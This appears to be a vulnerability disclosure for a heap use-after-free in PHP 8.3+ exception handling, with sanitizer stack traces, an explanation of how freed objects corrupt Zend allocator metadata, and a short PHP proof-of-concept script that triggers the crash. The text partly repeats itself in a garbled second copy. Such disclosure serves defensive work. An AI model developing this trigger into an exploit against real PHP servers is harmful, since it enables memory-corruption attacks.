Summary
Exception handler frees variables via cleanup_live_vars
for termination. However, the subsequent php_request_shutdown
performs reference counting on these variables using zend_gc_refcount
(read) and zend_gc_delref
(write), resulting in use-after-free. Since zend_mm_free_small
stores metadata in freed memory chunks, this use-after-free vulnerability may allows manipulation of the Zend allocator through reference count behaviors.
Details
- OS: Ubuntu 22.04 (x86)
- PHP Version: php-8.4.0beta5
- FYI: A similar bug with the handler (#10169) was reported two years ago and patched, but it just increased the reference count before the handler.
Access:
#0 0x55d832ba169c in zend_gc_refcount Zend/zend_types.h:1318:12
#1 0x55d832ba169c in zval_refcount_p Zend/zend_types.h:1367:9
#2 0x55d832ba169c in zval_call_destructor Zend/zend_execute_API.c:217:35
#3 0x55d832e53559 in zend_hash_reverse_apply Zend/zend_hash.c:2226:13
#4 0x55d832ba1062 in shutdown_destructors Zend/zend_execute_API.c:262:4
#5 0x55d832fd0b84 in zend_call_destructors Zend/zend.c:1325:3
#6 0x55d8328338a7 in php_request_shutdown main/main.c:1916:3
#7 0x55d832fdf066 in do_cli sapi/cli/php_cli.c:1105:3
#8 0x55d832fdb393 in main sapi/cli/php_cli.c:1309:18
#9 0x7f5f61429d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#10 0x7f5f61429e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#11 0x55d832001ce4 in _start (sapi/cli/php+0x401ce4)
Free:
#1 0x55d832a35696 in __zend_free Zend/zend_alloc.c:3308:2
#2 0x55d832a38b0d in _efree Zend/zend_alloc.c:2747:3
#3 0x55d832f3bfbf in zend_objects_store_del Zend/zend_objects_API.c:198:3
#4 0x55d832fb603b in rc_dtor_func Zend/zend_variables.c:57:2
#5 0x55d832bcdaee in cleanup_live_vars Zend/zend_execute.c
#6 0x55d832e01cd5 in zend_dispatch_try_catch_finally_helper_SPEC Zend/zend_vm_execute.h:3227:2
#7 0x55d832d5f83e in ZEND_HANDLE_EXCEPTION_SPEC_HANDLER Zend/zend_vm_execute.h
#8 0x55d832bd2aa4 in execute_ex Zend/zend_vm_execute.h:58585:7
#9 0x55d832bd362d in zend_execute Zend/zend_vm_execute.h:64237:2
#10 0x55d832fd6a09 in zend_execute_script Zend/zend.c:1928:3
#11 0x55d832839658 in php_execute_script_ex main/main.c:2578:13
#12 0x55d832839c08 in php_execute_script main/main.c:2618:9
#13 0x55d832fde33c in do_cli sapi/cli/php_cli.c:935:5
#14 0x55d832fdb393 in main sapi/cli/php_cli.c:1309:18
#15 0x7f5f61429d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
Alloc:
#1 0x55d832a390cc in __zend_malloc Zend/zend_alloc.c:3280:14
#2 0x55d832a389ed in _emalloc Zend/zend_alloc.c:2737:10
#3 0x55d832f3e1fc in zend_objects_new Zend/zend_objects.c:210:24
#4 0x55d832a59ddb in _object_and_properties_init Zend/zend_API.c:1823:22
#5 0x55d832a5a608 in object_init_ex Zend/zend_API.c:1846:9
#6 0x55d832cb3990 in ZEND_NEW_SPEC_CONST_UNUSED_HANDLER Zend/zend_vm_execute.h:10895:6
#7 0x55d832bd2aa4 in execute_ex Zend/zend_vm_execute.h:58585:7
#8 0x55d832bd362d in zend_execute Zend/zend_vm_execute.h:64237:2
#9 0x55d832fd6a09 in zend_execute_script Zend/zend.c:1928:3
#10 0x55d832839658 in php_execute_script_ex main/main.c:2578:13
#11 0x55d832839c08 in php_execute_script main/main.c:2618:9
#12 0x55d832fde33c in do_cli sapi/cli/php_cli.c:935:5
#13 0x55d832fdb393 in main sapi/cli/php_cli.c:1309:18
#14 0x7f5f61429d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
- free: the object has a zero reference when the exception occurs, and it frees the object by
_efree
. _efree
calls zend_mm_free_small
internally, which writes the reference count-overlapping area to manage zend_mm_free_slot
(Zend/zend_alloc.c:1434).
- access: after the exception is processed, the program requests
php_request_shutdown
, and starts to destroy the variables using destructors. In this step, PHP inspects the reference count to prevent double-free. However, the reference count is no longer valid, and it reads the part of the Zend metadata managed by zend_mm_free_small
.
- *undefined behavior: After the first UAF, it subsequently accesses the variables and invoke
zend_gc_delref
as well. Thus, it manipulates the metadata of zend_mm_free_small
. Moreover, since the metadata contains typically larger value than the original reference count, the GC also lead to undefined behavior.
PoC
In PoC, Foo
class has an echo
for the non-defined constant HI
, and $foo->foo()->baz ??= 1
triggers this exception.
<?php
class Foo {
public function foo() {
echo __METHOD__, "\n";
return $this;
}
public function __set($name, $value) {
echo HI, "\n";
var_dump($value);
}
}
$foo = new Foo();
$foo->foo()->baz ??= 1;
?>
Build command
./buildconf --force && \
./configure && \
make -j`nproc`
Run with
Impact
This is a heap use-after-free vulnerability. It occurs because reference counting is performed after live variables are destroyed by exception handlers, resulting in the manipulation of the metadata of Zend allocator. Any component that can create variables, trigger exceptions, and terminate with php_request_shutdown is affected (including PHP CLI and PHP-fuzz-execute).
To exploit this, an attacker would have to:
- Find an application with code similar to this
- Ensure that an exception is thrown in
__set
(it is unlikely that real code will have a statement that always throws here)
- Exploit the use-after-free
This is unlikely but possible.
Version
This is present only in PHP 8.3+. The PHP 8.2 and versions before are not impacted.
Summary
Exception handler frees variables via
cleanup_live_vars
for termination. However, the subsequentphp_request_shutdown
performs reference counting on these variables usingzend_gc_refcount
(read) andzend_gc_delref
(write), resulting in use-after-free. Sincezend_mm_free_small
stores metadata in freed memory chunks, this use-after-free vulnerability may allows manipulation of the Zend allocator through reference count behaviors.Details
_efree
._efree
callszend_mm_free_small
internally, which writes the reference count-overlapping area to managezend_mm_free_slot
(Zend/zend_alloc.c:1434).php_request_shutdown
, and starts to destroy the variables using destructors. In this step, PHP inspects the reference count to prevent double-free. However, the reference count is no longer valid, and it reads the part of the Zend metadata managed byzend_mm_free_small
.zend_gc_delref
as well. Thus, it manipulates the metadata ofzend_mm_free_small
. Moreover, since the metadata contains typically larger value than the original reference count, the GC also lead to undefined behavior.PoC
In PoC,
Foo
class has anecho
for the non-defined constantHI
, and$foo->foo()->baz ??= 1
triggers this exception.Build command
Run with
Impact
This is a heap use-after-free vulnerability. It occurs because reference counting is performed after live variables are destroyed by exception handlers, resulting in the manipulation of the metadata of Zend allocator. Any component that can create variables, trigger exceptions, and terminate with php_request_shutdown is affected (including PHP CLI and PHP-fuzz-execute).
To exploit this, an attacker would have to:
__set
(it is unlikely that real code will have a statement that always throws here)This is unlikely but possible.
Version
This is present only in PHP 8.3+. The PHP 8.2 and versions before are not impacted.